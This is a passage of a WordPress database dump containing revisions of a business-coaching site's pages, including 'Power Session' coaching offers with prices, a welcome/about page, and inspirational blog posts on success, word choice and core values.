file of our recorded Power Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $500 USD\r\n</span>\r\n\r\n<span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span>\r\nThe Immersion Jam of (6) additional Power Sessions is available if you would like to gain a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<a class="aligncenter" href="http://www.pullinc.com" target="_blank"></a>\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-03-11 12:08:25', '2010-03-11 19:08:25', '', 200, 'http://www.whitehotcenter.com/2010/03/11/200-revision-19/', 0, 'revision', '', 0),
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(3001, 1, '2015-10-07 23:02:14', '2015-10-08 06:02:14', '<h2>Inspiration, guidance and creativity for early stage entrepreneurs and small business owners who want more impact, influence and income.</h2>\nI''m delighted you have found your way here to the White Hot Center. If you''re an early stage entrepreneur, solo professional or small business owner, and you''re seeking useful information to take your business (and your whole life experience) to the next level, you''ve come to the right place. It''s my pleasure to welcome you!\n\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\n\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together-we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\n<h3>As entrepreneurs, we intuitively know our sustained growth and success is the result of certain mindset. We focus on creating bigger better futures for our customers and clients knowing we can only receive more by becoming more.</h3>\nLike you, I''m fully committed to bringing more value to the world. After nearly 30 years of business transformation and creative consulting with marketing executives in hundreds of leading organizations, I became obsessed with sharing my insight and expertise with early-stage entrepreneurs at the beginning of their success journey.\n\nThe White Hot Center is the expression of my passion for sharing ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement.', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-autosave-v1', '', '', '2015-10-07 23:02:14', '2015-10-08 06:02:14', '', 2871, 'http://whc.fbdev.org/2015/10/2871-autosave-v1/', 0, 'revision', '', 0),
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(2381, 2, '2011-01-26 18:27:41', '2011-01-27 01:27:41', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, solid insight, and world-class business development expertise on the fly and in real time!</span></h2>\r\n<h2>The 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web site happening, and find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.</h2>\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas and turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 18:27:41', '2011-01-27 01:27:41', '', 200, 'http://www.whitehotcenter.com/2011/01/200-revision-50/', 0, 'revision', '', 0),
(1504, 2, '2010-12-03 17:48:50', '2010-12-04 00:48:50', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a White Hot Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:48:50', '2010-12-04 00:48:50', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-32/', 0, 'revision', '', 0),
(711, 2, '2009-07-31 15:28:33', '2009-07-31 22:28:33', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session.</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-31 15:28:33', '2009-07-31 22:28:33', '', 200, 'http://www.whitehotcenter.com/2009/07/31/200-revision-18/', 0, 'revision', '', 0),
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INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(216, 1, '2009-06-02 09:44:59', '2009-06-02 16:44:59', '<h2><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?\r\n<h3>The Successful Life</h3>\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n<h3>The Significant Life</h3>\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n<h3>Meaning + Contribution = Significant Happiness</h3>\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-7', '', '', '2009-06-02 09:44:59', '2009-06-02 16:44:59', '', 8, 'http://www.whitehotcenter.com/8-revision-7/', 0, 'revision', '', 0),
(217, 1, '2009-04-30 22:39:51', '2009-05-01 05:39:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="alignnone size-full wp-image-55" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="400" height="194" /></a>\r\n<h2><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\nWords are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-5', '', '', '2009-04-30 22:39:51', '2009-05-01 05:39:51', '', 10, 'http://www.whitehotcenter.com/10-revision-5/', 0, 'revision', '', 0),
(218, 1, '2009-06-08 21:07:19', '2009-06-09 04:07:19', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2009-06-08 21:07:19', '2009-06-09 04:07:19', '', 157, 'http://www.whitehotcenter.com/157-revision-9/', 0, 'revision', '', 0),
(219, 1, '2009-06-12 19:21:28', '2009-06-13 02:21:28', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2009-06-12 19:21:28', '2009-06-13 02:21:28', '', 157, 'http://www.whitehotcenter.com/157-revision-10/', 0, 'revision', '', 0),
(220, 1, '2009-06-12 19:22:22', '2009-06-13 02:22:22', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2009-06-12 19:22:22', '2009-06-13 02:22:22', '', 157, 'http://www.whitehotcenter.com/157-revision-11/', 0, 'revision', '', 0),
(221, 1, '2009-04-04 17:23:33', '2009-04-05 00:23:33', '<h2><img class="alignleft size-full wp-image-121" title="values" src="http://whc.fbdev.org/wp-content/uploads/2008/10/values.jpg" alt="values" width="390" height="157" />In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.  As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world.</h2>\r\nJust like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.\r\n\r\nIn my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.  It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.  The same holds true for individuals. Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.\r\n\r\nOf course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.  Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.\r\n\r\nWhen we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature.\r\n\r\nMy suggestion: make a habit of spending some portion of each day affirming what really matters to you.', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\r\n', 'inherit', 'open', 'open', '', '19-revision-2', '', '', '2009-04-04 17:23:33', '2009-04-05 00:23:33', '', 19, 'http://www.whitehotcenter.com/19-revision-2/', 0, 'revision', '', 0),
(222, 1, '2009-05-20 15:10:29', '2009-05-20 22:10:29', 'Thomson''s Bio.', 'About Me', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-05-20 15:10:29', '2009-05-20 22:10:29', '', 172, 'http://www.whitehotcenter.com/172-revision-3/', 0, 'revision', '', 0),
(223, 2, '2009-06-22 15:58:10', '2009-06-22 22:58:10', 'I’m Thomson  Dawson. I’m your host and curator here at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA.  There are no absolutes. But when I began to have greater awareness of what really mattered to me in defining my own experience of life success, I found that there is some common ground in my definition that resonated with other people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing: \r\n\r\n-  being free to do the work that matters most to you.\r\n-  creating a sustainable business comprised of customers who value your contribution to them, and are willing to pay the higher fees your expertise commands and deserves.\r\n-  having mastery over the complexities your business success creates\r\n-  learning to embrace and master effective marketing and business development strategies to grow your business doing only what you love and are uniquely suited for.\r\n-  having more time and money available to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.\r\n-  creating a life of significance through your contributions to the world, which you experience as fulfillment and happiness.  \r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. These  benchmarks matter to me. I want to experience as much of their benefit as I possibly can and share my knowledge with others.  So, like two strangers walking the same road, it is my intention here that we become friends and walk awhile together. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!  \r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their value proposition to customers. I have been a designer, writer, creative director, marketing consultant to global companies and start-ups alike. I am totally committed to expanding my own mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.  To contribute your greatness to the world, you must believe you are the creator of your reality!  All your life''s circumstances and results are the result of your thinking. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you may enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts for the benefit of all of us.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe to receiving our information directly to your email inbox.  Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas you can immeadiately apply to your life''s journey.\r\n\r\nI wish you you great success in your business and in your life. \r\n\r\nThank you for visiting\r\nThomson', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-22 15:58:10', '2009-06-22 22:58:10', '', 172, 'http://www.whitehotcenter.com/172-revision-4/', 0, 'revision', '', 0),
(224, 2, '2009-06-22 16:00:26', '2009-06-22 23:00:26', 'I’m Thomson  Dawson. I’m your host and curator here at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA.  There are no absolutes. But when I began to have greater awareness of what really mattered to me in defining my own experience of life success, I found that there is some common ground in my definition that resonated with other people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing: \r\n\r\n-  being free to do the work that matters most to you.\r\n-  creating a sustainable business comprised of customers who value your contribution to them, and are willing to pay the higher fees your expertise commands and deserves.\r\n-  having mastery over the complexities your business success creates\r\n-  learning to embrace and master effective marketing and business development strategies to grow your business doing only what you love and are uniquely suited for.\r\n-  having more time and money available to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.\r\n-  creating a life of significance through your contributions to the world, which you experience as fulfillment and happiness.  \r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. These  benchmarks matter to me. I want to experience as much of their benefit as I possibly can and share my knowledge with others.  So, like two strangers walking the same road, it is my intention here that we become friends and walk awhile together. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!  \r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their value proposition to customers. I have been a designer, writer, creative director, marketing consultant to global companies and start-ups alike. I am totally committed to expanding my own mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.  To contribute your greatness to the world, you must believe you are the creator of your reality!  All your life''s circumstances and results are the result of your thinking. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you may enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts for the benefit of all of us.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe to receiving our information directly to your email inbox.  Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas you can immeadiately apply to your life''s journey.\r\n\r\nI wish you you great success in your business and in your life. \r\n\r\nThank you for visiting\r\nThomson', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-22 16:00:26', '2009-06-22 23:00:26', '', 172, 'http://www.whitehotcenter.com/172-revision-5/', 0, 'revision', '', 0),
(225, 2, '2009-06-22 16:03:14', '2009-06-22 23:03:14', 'I’m Thomson  Dawson. I’m your host and curator here at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA.  There are no absolutes. But when I began to have greater awareness of what really mattered to me in defining my own experience of life success, I found that there is some common ground in my definition that resonated with other people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing: \r\n\r\n-  being free to do the work that matters most to you.\r\n\r\n-  creating a sustainable business comprised of customers who value your contribution to them, and are willing to pay the higher fees your expertise commands and deserves.\r\n\r\n-  having mastery over the complexities your business success creates.\r\n\r\n-  learning to embrace and master effective marketing and business development strategies to grow your business doing only what you love and are uniquely suited for.\r\n\r\n-  having more time and money available to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.\r\n\r\n-  creating a life of significance through your contributions to the world, which you experience as fulfillment and happiness.  \r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. These  benchmarks matter to me. I want to experience as much of their benefit as I possibly can and share my knowledge with others.  So, like two strangers walking the same road, it is my intention here that we become friends and walk awhile together. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!  \r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their value proposition to customers. I have been a designer, writer, creative director, marketing consultant to global companies and start-ups alike. I am totally committed to expanding my own mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.  To contribute your greatness to the world, you must believe you are the creator of your reality!  All your life''s circumstances and results are the result of your thinking. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you may enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts for the benefit of all of us.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe to receiving our information directly to your email inbox.  Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas you can immeadiately apply to your life''s journey.\r\n\r\nI wish you you great success in your business and in your life. \r\n\r\nThank you for visiting\r\nThomson', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-22 16:03:14', '2009-06-22 23:03:14', '', 172, 'http://www.whitehotcenter.com/172-revision-6/', 0, 'revision', '', 0),
